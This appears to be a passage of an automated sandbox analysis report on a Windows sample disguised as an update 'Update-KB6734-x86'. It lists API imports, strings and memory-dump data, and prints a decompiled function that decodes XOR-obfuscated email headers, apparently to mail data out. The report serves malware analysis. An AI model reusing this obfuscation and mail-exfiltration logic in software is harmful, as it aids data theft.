0x0041d54d
0x0041d555
0x0041d55d
0x0041d565
0x0041d56d
0x0041d575
0x0041d57d
0x0041d585
0x0041d58d
0x0041d595
0x0041d59d
0x0041d5a5
0x0041d5ad
0x0041d5b5
0x0041d5bd
0x0041d5c5
0x0041d5cd
0x0041d5d5
0x0041d5dd
0x0041d5e5
0x0041d5ed
0x0041d5f5
0x0041d5fd
0x0041d605
0x0041d60d
0x0041d615
0x0041d620
0x0041d620
0x0041d628
0x0041d629
0x0041d62e
0x0041d637
0x0041d63b
0x0041d640
0x00000000
0x0041d646
0x0041d646
0x0041d64b
0x0041d650
0x0041d655
0x0041d65a
0x0041d65f
0x0041d664
0x0041d669
0x0041d66e
0x0041d673
0x0041d678
0x0041d67d
0x0041d682
0x0041d687
0x0041d68c
0x0041d690
0x0041d690
0x0041d695
0x0041d696
0x0041d69b
0x0041d6a1
0x0041d6a5
0x0041d6aa
0x00000000
0x0041d6b0
0x0041d6b0
0x0041d6b5
0x0041d6ba
0x0041d6bf
0x0041d6c4
0x0041d6c9
0x0041d6ce
0x0041d6d3
0x0041d6d8
0x0041d6dd
0x0041d6e2
0x0041d6e7
0x0041d6ec
0x0041d6f1
0x0041d6f6
0x0041d6fb
0x0041d700
0x0041d705
0x0041d707
0x0041d707
0x0041d70c
0x0041d70d
0x0041d712
0x0041d718
0x0041d71c
0x0041d721
0x00000000
0x0041d727
0x0041d727
0x0041d729
0x0041d72e
0x0041d733
0x0041d738
0x0041d73d
0x0041d742
0x0041d747
0x0041d74c
0x0041d751
0x0041d756
0x0041d75a
0x0041d75f
0x0041d764
0x0041d769
0x0041d76e
0x0041d773
0x0041d778
0x0041d77d
0x0041d782
0x0041d787
0x0041d78c
0x0041d791
0x0041d796
0x0041d79b
0x0041d7a0
0x0041d7a5
0x0041d7ad
0x0041d7b5
0x0041d7bd
0x0041d7c5
0x0041d7cd
0x0041d7d5
0x0041d7dd
0x0041d7e5
0x0041d7ed
0x0041d7f0
0x0041d7fa
0x0041d7fe
0x0041d7ff
0x0041d804
0x0041d80a
0x0041d80e
0x0041d813
0x00000000
0x0041d819
0x0041d81b
0x0041d822
0x0041d829
0x0041d831
0x0041d835
0x0041d83a
0x0041d842
0x0041d84a
0x0041d852
0x0041d85a
0x0041d862
0x0041d86a
0x0041d872
0x0041d87a
0x0041d882
0x0041d88a
0x0041d892
0x0041d89a
0x0041d8a2
0x0041d8aa
0x0041d8b2
0x0041d8ba
0x0041d8c1
0x0041d8c9
0x0041d8d1
0x0041d8d6
0x0041d8db
0x0041d8e0
0x0041d8e5
0x0041d8ed
0x0041d8f5
0x0041d8fd
0x0041d905
0x0041d90d
0x0041d915
0x0041d91d
0x0041d925
0x0041d92d
0x0041d935
0x0041d93d
0x0041d945
0x0041d94d
0x0041d955
0x0041d95d
0x0041d967
0x0041d96b
0x0041d970
0x00000000
0x0041d976
0x0041d976
0x0041d97b
0x0041d980
0x0041d985
0x0041d98a
0x0041d98f
0x0041d994
0x0041d999
0x0041d99e
0x0041d9a3
0x0041d9a8
0x0041d9ad
0x0041d9b2
0x0041d9b7
0x0041d9bc
0x0041d9c1
0x0041d9c6
0x0041d9cb
0x0041d9d0
0x0041d9d5
0x0041d9da
0x0041d9df
0x0041d9e4
0x0041d9e6
0x0041d9ee
0x0041d9f0
0x0041d9f4
0x0041d9f5
0x0041d9fa
0x0041da01
0x0041da03
0x0041da07
0x00000000
0x0041da0d
0x0041da0d
0x0041da15
0x0041da1d
0x0041da25
0x0041da2d
0x0041da35
0x0041da3d
0x0041da45
0x0041da4d
0x0041da55
0x0041da5d
0x0041da70
0x0041da70
0x0041da78
0x0041da79
0x0041da7e
0x0041da87
0x0041da8b
0x0041da90
0x00000000
0x0041da96
0x0041da96
0x0041da9a
0x0041da9c
0x0041da9e
0x0041da9f
0x0041daa3
0x0041daa8
0x0041daad
0x0041dab2
0x0041dab7
0x0041dabc
0x0041dac1
0x0041dac6
0x0041dacb
0x0041dad0
0x0041dad5
0x0041dada
0x0041dadf
0x0041dae4
0x0041dae9
0x0041daee
0x0041daf3
0x0041daf8
0x0041dafd
0x0041db02
0x0041db07
0x0041db0b
0x0041db10
0x0041db15
0x0041db1a
0x0041db1f
0x0041db24
0x0041db29
0x0041db2e
0x0041db33
0x0041db38
0x0041db3d
0x0041db42
0x0041db47
0x0041db4c
0x0041db51
0x0041db56
0x0041db5b
0x0041db60
0x0041db64
0x0041db69
0x00000000
0x0041db6f
0x0041db6f
0x0041db74
0x0041db7b
0x0041db80
0x0041db85
0x0041db8a
0x0041db8f
0x0041db94
0x0041db99
0x0041db9e
0x0041dba3
0x0041dba8
0x0041dbad
0x0041dbb2
0x0041dbb7
0x0041dbbf
0x0041dbc7
0x0041dbcf
0x0041dbd7
0x0041dbdf
0x0041dbe7
0x0041dbef
0x0041dbf7
0x0041dbff
0x0041dc06
0x0041dc0e
0x0041dc17
0x0041dc19
0x0041dc1d
0x00000000
0x0041dc23
0x0041dc23
0x0041dc2a
0x0041dc2c
0x0041dc2d
0x0041dc34
0x0041dc3c
0x0041dc44
0x0041dc4c
0x0041dc54
0x0041dc5c
0x0041dc64
0x0041dc6c
0x0041dc74
0x0041dc7c
0x0041dc84
0x0041dc8c
0x0041dc94
0x0041dc9c
0x0041dca4
0x0041dcac
0x0041dcb4
0x0041dcbc
0x0041dcc4
0x0041dccc
0x0041dcd4
0x0041dcd9
0x0041dcde
0x0041dce2
0x0041dce7
0x00000000
0x0041dced
0x0041dced
0x0041dcf2
0x0041dcf6
0x0041dcfb
0x0041dd00
0x0041dd05
0x0041dd0a
0x0041dd0f
0x0041dd14
0x0041dd19
0x0041dd1e
0x0041dd23
0x0041dd28
0x0041dd2d
0x0041dd32
0x0041dd37
0x0041dd3c
0x0041dd41
0x0041dd46
0x0041dd4b
0x0041dd50
0x0041dd55
0x0041dd5a
0x0041dd5f
0x0041dd64
0x0041dd69
0x0041dd6e
0x0041dd73
0x0041dd78
0x0041dd7d
0x0041dd82
0x0041dd87
0x0041dd8c
0x0041dd91
0x0041dd96
0x0041dd9b
0x0041dda0
0x0041dda5
0x0041ddaa
0x0041ddaf
0x0041ddb9
0x0041ddbb
0x0041ddbf
0x0041ddbf
0x0041ddc2
0x0041ddc7
0x00000000
0x0041ddc7
0x0041dce7
0x0041dc1d
0x0041db69
0x0041da90
0x0041da07
0x0041d970
0x0041d813
0x0041d721
0x0041d6aa
0x0041d640
0x0041d547
0x0041d4ac
0x0041d343
0x0041d2eb
0x0041d293

APIs

GetProcAddress.KERNEL32(00000000,00000032), ref: 0041D1AD
GetProcAddress.KERNEL32(00000000,00000000), ref: 0041D28A
GetProcAddress.KERNEL32 ref: 0041D2E2
GetProcAddress.KERNEL32(00000000), ref: 0041D33A
GetProcAddress.KERNEL32(00000000,0000006B), ref: 0041D4A3
LoadLibraryA.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000007,?,00000001), ref: 0041D53F
GetProcAddress.KERNEL32(00000000,0000009A), ref: 0041D637
GetProcAddress.KERNEL32(00000000,000000A5), ref: 0041D6A1
GetProcAddress.KERNEL32(00000000,000000EA), ref: 0041D718
GetProcAddress.KERNEL32(00000000,00000088), ref: 0041D80A
GetProcAddress.KERNEL32(00000000,00000000), ref: 0041D967
LoadLibraryA.KERNEL32(00000040), ref: 0041D9FF
GetProcAddress.KERNEL32(00000000,0000008A), ref: 0041DA87
GetProcAddress.KERNEL32(00000000,00000000), ref: 0041DB60

Strings

S, xrefs: 0041DD7D
Q, xrefs: 0041D362
S, xrefs: 0041D312
g, xrefs: 0041D92D
t, xrefs: 0041D271
S, xrefs: 0041D302
@, xrefs: 0041DCCC
w, xrefs: 0041D9B7
J, xrefs: 0041D37A
x, xrefs: 0041D9D5
x, xrefs: 0041D787
S, xrefs: 0041DB9E
o, xrefs: 0041DB51
T, xrefs: 0041D35A
4, xrefs: 0041D3C2
4, xrefs: 0041D3CA
B, xrefs: 0041D8D1
m, xrefs: 0041DB80
&, xrefs: 0041D87A
;, xrefs: 0041DC3C
W, xrefs: 0041DD87
T, xrefs: 0041DB3D
L, xrefs: 0041DC7C
1, xrefs: 0041DDA0
P, xrefs: 0041D44C
J, xrefs: 0041D91D
`, xrefs: 0041DB99
X, xrefs: 0041DD32
_, xrefs: 0041DD69
>, xrefs: 0041D41A
W, xrefs: 0041D9BC
1, xrefs: 0041DAB7
t, xrefs: 0041DD9B
A, xrefs: 0041D392
R, xrefs: 0041D2BA
J, xrefs: 0041DD55
H, xrefs: 0041DCC4
k, xrefs: 0041D352
8, xrefs: 0041D7D5
g, xrefs: 0041DB47
9, xrefs: 0041D915
[, xrefs: 0041D45B
A, xrefs: 0041D2B2
|, xrefs: 0041D244
4, xrefs: 0041D3B2
g, xrefs: 0041D51F
~, xrefs: 0041DAA8
<, xrefs: 0041D401
S, xrefs: 0041D4C0
7, xrefs: 0041DC34
p, xrefs: 0041DD91
W, xrefs: 0041D2FA
N, xrefs: 0041D4E8
X, xrefs: 0041DD73
M, xrefs: 0041DCAC
H, xrefs: 0041D4E3
9, xrefs: 0041DD50
S, xrefs: 0041D2AA
I, xrefs: 0041DDA5
f, xrefs: 0041D451
v, xrefs: 0041D2D2
M, xrefs: 0041DD1E
q, xrefs: 0041D50B
w, xrefs: 0041D7BD
L, xrefs: 0041DD0F
l, xrefs: 0041D4D9
e, xrefs: 0041D31A
h, xrefs: 0041D93D
x, xrefs: 0041D267
I, xrefs: 0041D524
Y, xrefs: 0041D46A
., xrefs: 0041D249
A, xrefs: 0041D30A
L, xrefs: 0041DC84
u, xrefs: 0041DCFB
6, xrefs: 0041DD6E
W, xrefs: 0041D2A2
<, xrefs: 0041D8A2
&, xrefs: 0041DAF8
t, xrefs: 0041D8E5
$, xrefs: 0041DC54
v, xrefs: 0041D501
y, xrefs: 0041D905
`, xrefs: 0041D94D
$, xrefs: 0041D9AD
T, xrefs: 0041DADA
<, xrefs: 0041DD78
i, xrefs: 0041D39A
A, xrefs: 0041D52D
$, xrefs: 0041DD82
H, xrefs: 0041DAE9
`, xrefs: 0041DC64
S, xrefs: 0041DD28
n, xrefs: 0041D322
_, xrefs: 0041D20A
c, xrefs: 0041D2CA
d, xrefs: 0041D32A
D, xrefs: 0041D43D
|, xrefs: 0041DD5F
a, xrefs: 0041D465
$, xrefs: 0041D429
+, xrefs: 0041D782
:, xrefs: 0041D90D
`, xrefs: 0041D852
h, xrefs: 0041D8F5
6, xrefs: 0041DD19
#, xrefs: 0041D1CA
r, xrefs: 0041D8B2
e, xrefs: 0041D8DB
I, xrefs: 0041DAC1
i, xrefs: 0041DC4C
2, xrefs: 0041D862
/, xrefs: 0041D925
>, xrefs: 0041D86A
(, xrefs: 0041D3DA
e, xrefs: 0041D2C2

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: #$$$$$$$$$&$&$($+$.$/$1$1$2$4$4$4$6$6$7$8$9$9$:$;$<$<$<$>$>$@$A$A$A$A$B$D$H$H$H$I$I$I$J$J$J$L$L$L$M$M$N$P$Q$R$S$S$S$S$S$S$S$T$T$T$W$W$W$W$X$X$Y$[$_$_$`$`$`$`$a$c$d$e$e$e$f$g$g$g$h$h$i$i$k$l$m$n$o$p$q$r$t$t$t$u$v$v$w$w$x$x$x$y$|$|$~
API String ID: 2238633743-1057226733
Opcode ID: 173a630b285c8d64dbb48f98fbb3aa5b36f8a7ac996510606186ed8d486715af
Instruction ID: 2d7c54381bbd094f02955be387350197a3f66cd921c6525618d4a2725f5bc4d0
Opcode Fuzzy Hash: 173a630b285c8d64dbb48f98fbb3aa5b36f8a7ac996510606186ed8d486715af
Instruction Fuzzy Hash: 5B829A2000C7C2C9D332C67C584879FBFD51BA7228F584B9DE1E95A2E2D7A9814AC777

Uniqueness

Uniqueness Score: -1.00%

Function 0040C8E0, Relevance: 209.4, APIs: 14, Strings: 125, Instructions: 925
stringCOMMONCrypto

Download Yara Rule

C-Code - Quality: 75%

			E0040C8E0(void* __ebx, intOrPtr __ecx, void* __edi, void* __esi) {
				intOrPtr _t614;
				char _t615;
				int _t620;
				intOrPtr _t627;
				char _t635;
				signed int _t640;
				void* _t647;
				void* _t652;
				void* _t671;
				intOrPtr _t672;
				void* _t679;
				void* _t684;
				intOrPtr _t685;
				signed int _t702;
				void* _t707;
				intOrPtr _t708;
				intOrPtr _t714;
				int _t717;
				void* _t723;
				intOrPtr _t724;
				void* _t727;
				intOrPtr _t728;
				void* _t738;
				intOrPtr _t803;
				char _t805;
				intOrPtr _t850;
				intOrPtr _t852;
				char _t856;
				signed int _t861;
				intOrPtr _t863;
				void* _t864;
				void* _t865;

				_t614 =  *0x4310d8; // 0xa9302559
				_t850 = __ecx;
				 *((intOrPtr*)(_t864 + 0x5a4)) = _t614;
				 *((intOrPtr*)(_t864 + 0x14)) = __ecx;
				 *(_t864 + 0xc) = 0x5d;
				 *(_t864 + 0xd) = 0xac;
				 *(_t864 + 0xe) = 0x58;
				_t615 = 0;
				_t738 = 2;
				do {
					_t805 =  *((intOrPtr*)(_t864 + _t615 + 0xc));
					 *((char*)(_t864 + _t615 + 0xc)) =  *((intOrPtr*)(_t864 + _t738 + 0xc));
					_t615 = _t615 + 1;
					 *((char*)(_t864 + _t738 + 0xc)) = _t805;
					_t738 = _t738 - 1;
				} while (_t615 < _t738);
				 *(_t864 + 0x10) =  *(_t864 + 0xc) ^ 0x00000055;
				 *(_t864 + 0x19) =  *(_t864 + 0xd) ^ 0x000000a6;
				 *0x431c88 = 0xb;
				 *(_t864 + 0x1a) =  *(_t864 + 0xe) ^ 0x0000005d;
				E0040BE00(_t864 + 0x164, 0x40);
				_t865 = _t864 + 8;
				_t620 = lstrlenA(_t865 + 0x164);
				_t732 =  *((intOrPtr*)(_t865 + 0x5ac));
				if(E0041BC30(_t620,  *((intOrPtr*)(_t865 + 0x5ac)), _t865 + 0x168, _t620) == 0xffffffff || E0041BC30(_t865 + 0x14, _t732, _t865 + 0x14, 2) == 0xffffffff) {
					return E00424873(0,  *((intOrPtr*)(_t865 + 0x598)));
				} else {
					_t627 =  *((intOrPtr*)(_t850 + 0x14));
					_t856 = 0x20;
					if( *((intOrPtr*)(_t850 + 0x30)) == 0) {
						if(_t627 != 0) {
							 *((char*)(_t865 + 0x30)) = 0x6d;
							 *((char*)(_t865 + 0x31)) = 0x59;
							 *((char*)(_t865 + 0x32)) = 0x44;
							 *((char*)(_t865 + 0x33)) = 0x46;
							 *((char*)(_t865 + 0x34)) = 0x11;
							 *((char*)(_t865 + 0x35)) = 0xb;
							 *((char*)(_t865 + 0x36)) = 0xe;
							 *((char*)(_t865 + 0x37)) = 0x58;
							 *((char*)(_t865 + 0x38)) = 0x26;
							 *((char*)(_t865 + 0x39)) = 0x21;
							 *((char*)(_t865 + 0x3a)) = 0x2b;
							_t723 = 0;
							do {
								 *(_t865 + _t723 + 0x30) =  *(_t865 + _t723 + 0x30) ^ 0x0000002b;
								_t723 = _t723 + 1;
							} while (_t723 < 0xb);
							if( *((intOrPtr*)(_t850 + 0x18)) < 0x10) {
								_t724 = _t850 + 4;
							} else {
								_t724 =  *((intOrPtr*)(_t850 + 4));
							}
							 *0x431f14(_t865 + 0x1b0, _t865 + 0x34, _t724);
							_t865 = _t865 + 0xc;
						}
					} else {
						if(_t627 != 0) {
							 *((char*)(_t865 + 0x1c)) = 0x40;
							 *((char*)(_t865 + 0x1d)) = 0x74;
							 *((char*)(_t865 + 0x1e)) = 0x69;
							 *((char*)(_t865 + 0x1f)) = 0x6b;
							 *((char*)(_t865 + 0x20)) = 0x3c;
							 *((char*)(_t865 + 0x21)) = 0x26;
							 *((char*)(_t865 + 0x22)) = 0x23;
							 *((char*)(_t865 + 0x23)) = 0x75;
							 *((char*)(_t865 + 0x24)) = 0x26;
							 *((char*)(_t865 + 0x25)) = 0x3a;
							 *((char*)(_t865 + 0x26)) = 0x23;
							 *((char*)(_t865 + 0x27)) = 0x75;
							 *((char*)(_t865 + 0x28)) = 0x38;
							 *((char*)(_t865 + 0x29)) = 0xb;
							 *((char*)(_t865 + 0x2a)) = 0xc;
							 *((char*)(_t865 + 0x2b)) = 6;
							_t727 = 0;
							do {
								 *(_t865 + _t727 + 0x1c) =  *(_t865 + _t727 + 0x1c) ^ 0x00000006;
								_t727 = _t727 + 1;
							} while (_t727 < 0x10);
							if( *((intOrPtr*)(_t850 + 0x18)) < 0x10) {
								_t803 = _t850 + 4;
							} else {
								_t803 =  *((intOrPtr*)(_t850 + 4));
							}
							if( *((intOrPtr*)(_t850 + 0x34)) < 0x10) {
								_t728 = _t850 + 0x20;
							} else {
								_t728 =  *((intOrPtr*)(_t850 + 0x20));
							}
							_t54 = _t865 + 0x24; // 0x26
							 *0x431f14(_t865 + 0x1b4, _t54, _t728, _t803);
							_t865 = _t865 + 0x10;
						}
					}
					if(lstrlenA(_t865 + 0x1a8) == 0) {
						L25:
						 *((char*)(_t865 + 0x117)) = 0xe8;
						 *((char*)(_t865 + 0x11d)) = 0xe8;
						 *((char*)(_t865 + 0x125)) = 0xab;
						 *((char*)(_t865 + 0x24)) = 0xab;
						_t861 = _t856 + _t856;
						 *((char*)(_t865 + 0x118)) = 0xa9;
						 *((char*)(_t865 + 0x119)) = 0xd7;
						 *((char*)(_t865 + 0x11a)) = 0xd9;
						 *((char*)(_t865 + 0x11c)) = 0x17;
						 *((char*)(_t865 + 0x11d)) = 0xfb;
						 *((char*)(_t865 + 0x11e)) = 0x35;
						 *((char*)(_t865 + 0x11f)) = 0x6a;
						 *((char*)(_t865 + 0x120)) = 0x1d;
						 *((char*)(_t865 + 0x122)) = 0x88;
						 *((char*)(_t865 + 0x123)) = 0xc5;
						 *((char*)(_t865 + 0x124)) = 0x84;
						 *((char*)(_t865 + 0x125)) = 0xc6;
						 *((char*)(_t865 + 0x126)) = 0xa7;
						 *((char*)(_t865 + 0x127)) = 0xf4;
						 *((char*)(_t865 + 0x128)) = 0xc8;
						 *((char*)(_t865 + 0x12a)) = 0x67;
						 *((char*)(_t865 + 0x12b)) = 0xda;
						 *((char*)(_t865 + 0x20)) = 0xda;
						 *((char*)(_t865 + 0x21)) = 0x6d;
						 *((char*)(_t865 + 0x22)) = 0xa6;
						 *((char*)(_t865 + 0x23)) = 0xf8;
						 *((char*)(_t865 + 0x24)) = 0xda;
						 *((char*)(_t865 + 0x25)) = 0x96;
						 *((char*)(_t865 + 0x26)) = 0xe6;
						 *((char*)(_t865 + 0x27)) = 0xbe;
						 *((char*)(_t865 + 0x29)) = 0xe7;
						 *((char*)(_t865 + 0x2a)) = 0x81;
						 *((char*)(_t865 + 0x2b)) = 0x6e;
						 *((char*)(_t865 + 0x2c)) = 0x18;
						 *((char*)(_t865 + 0x2d)) = 0x50;
						 *((char*)(_t865 + 0x2e)) = 0xad;
						 *((char*)(_t865 + 0x2f)) = 0x3a;
						 *((char*)(_t865 + 0x30)) = 0x8d;
						 *((char*)(_t865 + 0x31)) = 0xb4;
						 *((char*)(_t865 + 0x32)) = 0xbe;
						 *((char*)(_t865 + 0x33)) = 0xe4;
						if(E0041BC30(lstrlenA(E0040BDA0(_t865 + 0x20, 0x14, _t865 + 0x114)),  *((intOrPtr*)(_t865 + 0x5b0)), _t632, _t633) == 0xffffffff) {
							goto L31;
						} else {
							_t852 =  *((intOrPtr*)(_t865 + 0x18));
							if( *((intOrPtr*)(_t852 + 0x4c)) == 0) {
								_t859 =  *((intOrPtr*)(_t865 + 0x5b0));
								goto L33;
							} else {
								 *((char*)(_t865 + 0x30)) = 0x54;
								 *((char*)(_t865 + 0x31)) = 0x6f;
								 *((char*)(_t865 + 0x32)) = 0x3a;
								 *((char*)(_t865 + 0x33)) = 0x20;
								 *((char*)(_t865 + 0x34)) = 0x25;
								 *((char*)(_t865 + 0x35)) = 0x73;
								 *((char*)(_t865 + 0x36)) = 0xd;
								 *((char*)(_t865 + 0x37)) = 0xa;
								 *((char*)(_t865 + 0x38)) = 0;
								if( *((intOrPtr*)(_t852 + 0x50)) < 0x10) {
									_t714 = _t852 + 0x3c;
								} else {
									_t714 =  *((intOrPtr*)(_t852 + 0x3c));
								}
								 *0x431f14(_t865 + 0x1b0, _t865 + 0x34, _t714);
								_t865 = _t865 + 0xc;
								_t717 = lstrlenA(_t865 + 0x1a8);
								_t859 =  *((intOrPtr*)(_t865 + 0x5b0));
								if(E0041BC30(_t865 + 0x1ac,  *((intOrPtr*)(_t865 + 0x5b0)), _t865 + 0x1ac, _t717) != 0xffffffff) {
									L33:
									if( *((intOrPtr*)(_t852 + 0x68)) == 0) {
										L40:
										if( *((intOrPtr*)(_t852 + 0xa8)) == 0 ||  *((intOrPtr*)(_t852 + 0xa0)) == 0 ||  *((intOrPtr*)(_t852 + 0xac)) == 0) {
											_t640 =  *0x431c88; // 0x0
											 *0x431c88 = _t640 * 0x3f;
											if(E0040C3C0(_t852, _t859) == 0) {
												goto L31;
											} else {
												goto L77;
											}
										} else {
											 *(_t865 + 0x14) = _t861 | 0x000006d0;
											E0040C240(0xda, _t865 + 0x128);
											 *((char*)(_t865 + 0xd5)) = 0xda;
											_t865 = _t865 + 4;
											 *((char*)(_t865 + 0xbf)) = 0xdc;
											 *((char*)(_t865 + 0xc2)) = 0xdc;
											 *((char*)(_t865 + 0xcd)) = 0xdc;
											 *((char*)(_t865 + 0xd2)) = 0xdc;
											 *(_t865 + 0xbc) = 0xeb;
											 *((char*)(_t865 + 0xbd)) = 0xc7;
											 *((char*)(_t865 + 0xbe)) = 0xc6;
											 *((char*)(_t865 + 0xc0)) = 0xcd;
											 *((char*)(_t865 + 0xc1)) = 0xc6;
											 *((char*)(_t865 + 0xc3)) = 0x85;
											 *((char*)(_t865 + 0xc4)) = 0xfc;
											 *((char*)(_t865 + 0xc5)) = 0xd1;
											 *((char*)(_t865 + 0xc6)) = 0xd8;
											 *((char*)(_t865 + 0xc7)) = 0xcd;
											 *((char*)(_t865 + 0xc8)) = 0x92;
											 *((char*)(_t865 + 0xc9)) = 0x88;
											 *((char*)(_t865 + 0xca)) = 0xc5;
											 *((char*)(_t865 + 0xcb)) = 0xdd;
											 *((char*)(_t865 + 0xcc)) = 0xc4;
											 *((char*)(_t865 + 0xce)) = 0xc1;
											 *((char*)(_t865 + 0xcf)) = 0xd8;
											 *((char*)(_t865 + 0xd0)) = 0xc9;
											 *((char*)(_t865 + 0xd3)) = 0x87;
											 *((char*)(_t865 + 0xd4)) = 0xc5;
											 *((char*)(_t865 + 0xd5)) = 0xc1;
											 *((char*)(_t865 + 0xd6)) = 0xd0;
											 *((char*)(_t865 + 0xd7)) = 0xcd;
											 *((char*)(_t865 + 0xd8)) = 0xcc;
											 *((char*)(_t865 + 0xd9)) = 0x93;
											 *((char*)(_t865 + 0xda)) = 0xa5;
											 *((char*)(_t865 + 0xdb)) = 0xa2;
											 *((char*)(_t865 + 0xdc)) = 0xa8;
											_t647 = 0;
											do {
												 *(_t865 + _t647 + 0xbc) =  *(_t865 + _t647 + 0xbc) ^ 0x000000a8;
												_t647 = _t647 + 1;
											} while (_t647 < 0x21);
											if(E0041BC30(_t865 + 0xc0, _t859, _t865 + 0xc0, lstrlenA(_t865 + 0xbc)) == 0xffffffff) {
												goto L31;
											} else {
												 *((char*)(_t865 + 0x20)) = 0xe4;
												 *((char*)(_t865 + 0x21)) = 0x15;
												 *((char*)(_t865 + 0x22)) = 0x39;
												 *((char*)(_t865 + 0x23)) = 0x60;
												 *((char*)(_t865 + 0x24)) = 0x4b;
												 *((char*)(_t865 + 0x25)) = 0x4b;
												 *((char*)(_t865 + 0x26)) = 0x30;
												 *((char*)(_t865 + 0x27)) = 0x2e;
												 *((char*)(_t865 + 0x28)) = 0x71;
												 *((char*)(_t865 + 0x29)) = 0xe4;
												 *((char*)(_t865 + 0x2a)) = 0xb1;
												 *((char*)(_t865 + 0x2b)) = 0xf5;
												 *((char*)(_t865 + 0x2c)) = 0x81;
												 *((char*)(_t865 + 0x2d)) = 0x8f;
												 *((char*)(_t865 + 0x2e)) = 0x5f;
												 *((char*)(_t865 + 0x2f)) = 0x9b;
												 *((char*)(_t865 + 0x30)) = 0x3f;
												 *((char*)(_t865 + 0x31)) = 0x81;
												 *((char*)(_t865 + 0x32)) = 0xdb;
												 *((char*)(_t865 + 0x34)) = 0xdb;
												 *((char*)(_t865 + 0x35)) = 0x8b;
												 *((char*)(_t865 + 0x36)) = 0x32;
												 *((char*)(_t865 + 0x37)) = 0x91;
												 *((char*)(_t865 + 0x38)) = 0x52;
												 *((char*)(_t865 + 0x39)) = 0xad;
												 *((char*)(_t865 + 0x3a)) = 0xf2;
												 *((char*)(_t865 + 0x3b)) = 0xd0;
												 *((char*)(_t865 + 0x3c)) = 0x93;
												 *((char*)(_t865 + 0x3d)) = 0xd9;
												 *((char*)(_t865 + 0x3e)) = 8;
												 *((char*)(_t865 + 0x3f)) = 0x5c;
												 *((char*)(_t865 + 0x40)) = 0x51;
												 *((char*)(_t865 + 0x41)) = 0x2f;
												 *((char*)(_t865 + 0x42)) = 0x25;
												 *((char*)(_t865 + 0x43)) = 0x15;
												 *((char*)(_t865 + 0x44)) = 0x56;
												 *((char*)(_t865 + 0x45)) = 0x77;
												 *((char*)(_t865 + 0x46)) = 0xc4;
												_t652 = E0040BDA0(_t865 + 0x34, 0x13, _t865 + 0x1c);
												 *0x431f14(_t865 + 0x1b0, _t652, _t865 + 0x128);
												_t865 = _t865 + 0xc;
												if(E0041BC30(lstrlenA(_t865 + 0x1a8), _t859, _t865 + 0x1ac, _t655) == 0xffffffff) {
													goto L31;
												} else {
													 *0x431f14(_t865 + 0x1ac, "--%s\r\n", _t865 + 0x128);
													_t865 = _t865 + 0xc;
													if(E0041BC30(_t865 + 0x1ac, _t859, _t865 + 0x1ac, lstrlenA(_t865 + 0x1a8)) == 0xffffffff) {
														goto L31;
													} else {
														_t863 =  *((intOrPtr*)(_t865 + 0x18));
														if(E0040C3C0(_t863, _t859) == 0) {
															goto L31;
														} else {
															 *0x431f14(_t865 + 0x1ac, "--%s\r\n", _t865 + 0x128);
															_t865 = _t865 + 0xc;
															if(E0041BC30(lstrlenA(_t865 + 0x1a8), _t859, _t865 + 0x1ac, _t665) == 0xffffffff) {
																goto L31;
															} else {
																 *((char*)(_t865 + 0x9b)) = 0x48;
																 *((char*)(_t865 + 0x9c)) = 0x48;
																 *((char*)(_t865 + 0xa5)) = 0xe9;
																 *((char*)(_t865 + 0xaa)) = 0xe9;
																 *((char*)(_t865 + 0x89)) = 0x29;
																 *((char*)(_t865 + 0x8d)) = 0xd0;
																 *((char*)(_t865 + 0x92)) = 0xd0;
																 *((char*)(_t865 + 0xbb)) = 0xd0;
																 *((char*)(_t865 + 0x39)) = 0x29;
																 *((char*)(_t865 + 0xaf)) = 0xdf;
																 *((char*)(_t865 + 0xb4)) = 0xdf;
																 *((char*)(_t865 + 0xba)) = 0xdf;
																 *((char*)(_t865 + 0x88)) = 0xb0;
																 *((char*)(_t865 + 0x8a)) = 0x6e;
																 *((char*)(_t865 + 0x8b)) = 0x9e;
																 *((char*)(_t865 + 0x8c)) = 0x34;
																 *((char*)(_t865 + 0x8e)) = 0x33;
																 *((char*)(_t865 + 0x8f)) = 0xb5;
																 *((char*)(_t865 + 0x90)) = 0xf6;
																 *((char*)(_t865 + 0x91)) = 0x50;
																 *((char*)(_t865 + 0x93)) = 0x37;
																 *((char*)(_t865 + 0x94)) = 0xdb;
																 *((char*)(_t865 + 0x95)) = 0x69;
																 *((char*)(_t865 + 0x96)) = 0x84;
																 *((char*)(_t865 + 0x97)) = 0x23;
																 *((char*)(_t865 + 0x98)) = 3;
																 *((char*)(_t865 + 0x99)) = 0xb5;
																 *((char*)(_t865 + 0x9a)) = 0xce;
																 *((char*)(_t865 + 0x9d)) = 1;
																 *((char*)(_t865 + 0x9e)) = 0x78;
																 *((char*)(_t865 + 0x9f)) = 0xa;
																 *((char*)(_t865 + 0xa0)) = 0x12;
																 *((char*)(_t865 + 0xa1)) = 0xa1;
																 *((char*)(_t865 + 0xa2)) = 0x1d;
																 *((char*)(_t865 + 0xa3)) = 0x83;
																 *((char*)(_t865 + 0xa4)) = 0x74;
																 *((char*)(_t865 + 0xa6)) = 0x5b;
																 *((char*)(_t865 + 0xa7)) = 0x5a;
																 *((char*)(_t865 + 0xa8)) = 0x4b;
																 *((char*)(_t865 + 0xa9)) = 0x27;
																 *((char*)(_t865 + 0xab)) = 0x3f;
																 *((char*)(_t865 + 0xac)) = 0x45;
																 *((char*)(_t865 + 0xad)) = 0xca;
																 *((char*)(_t865 + 0xae)) = 0x38;
																 *((char*)(_t865 + 0xb0)) = 0x1b;
																 *((char*)(_t865 + 0xb1)) = 0x99;
																 *((char*)(_t865 + 0xb2)) = 0x65;
																 *((char*)(_t865 + 0xb3)) = 0x54;
																 *((char*)(_t865 + 0xb5)) = 0x90;
																 *((char*)(_t865 + 0xb6)) = 0xa4;
																 *((char*)(_t865 + 0xb7)) = 0x45;
																 *((char*)(_t865 + 0xb8)) = 0x19;
																 *((char*)(_t865 + 0xb9)) = 0x5f;
																 *((char*)(_t865 + 0x30)) = 0x93;
																 *((char*)(_t865 + 0x31)) = 0x46;
																 *((char*)(_t865 + 0x32)) = 0;
